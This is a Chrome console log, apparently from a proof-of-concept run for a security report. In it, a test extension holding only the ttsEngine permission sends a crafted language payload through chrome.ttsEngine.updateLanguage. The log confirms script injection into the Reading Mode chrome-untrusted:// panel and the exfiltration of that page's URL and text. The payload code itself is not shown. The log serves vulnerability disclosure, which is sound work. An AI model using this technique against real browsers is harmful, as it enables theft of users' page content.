[1063:1063:0412/071643.493557:ERROR:chrome/browser/ui/read_anything/read_anything_side_panel_controller.cc:368] [POC-HELPER] Auto-opening Reading Mode side panel (simulating user pressing Shift+Alt+R)
[1063:1063:0412/071644.527129:INFO:CONSOLE:77] "[POC-ATTACK] ttsEngine extension service worker started", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/sw.js (77)
[1063:1063:0412/071645.527912:INFO:CONSOLE:65] "[POC-ATTACK] ttsEngine extension calling chrome.ttsEngine.updateLanguage with crafted lang payload", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/sw.js (65)
[1063:1063:0412/071645.543048:INFO:CONSOLE:23] "[POC-EXFIL] ttsEngine extension received data exfiltrated from the Reading Mode WebUI: PWNED:url=chrome-untrusted://read-anything-side-panel.top-chrome/", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/sw.js (23)
[1063:1063:0412/071645.544045:INFO:CONSOLE:26] "[POC-EXFIL] *** SCRIPT INJECTION INTO chrome-untrusted:// CONFIRMED ***", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/sw.js (26)
[1063:1063:0412/071645.545702:INFO:CONSOLE:23] "[POC-EXFIL] ttsEngine extension received data exfiltrated from the Reading Mode WebUI: PWNED:page-text=Victim article headlineSECRET-CONTENT-ON-CROSS-ORIGIN-PAGE-12345. This paragraph is the body of an article that the user has opened in Reading Mode. A malicious extension that holds only the ttsEngine permission should not be able to read this text, click links on this page, or copy its contents to the clipboard.Second paragraph with more content so the distiller has something to work with. Lorem ", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/sw.js (23)
[1063:1063:0412/071645.546620:INFO:CONSOLE:26] "[POC-EXFIL] *** SCRIPT INJECTION INTO chrome-untrusted:// CONFIRMED ***", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/sw.js (26)
[1063:1063:0412/071646.527814:INFO:CONSOLE:65] "[POC-ATTACK] ttsEngine extension calling chrome.ttsEngine.updateLanguage with crafted lang payload", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/sw.js (65)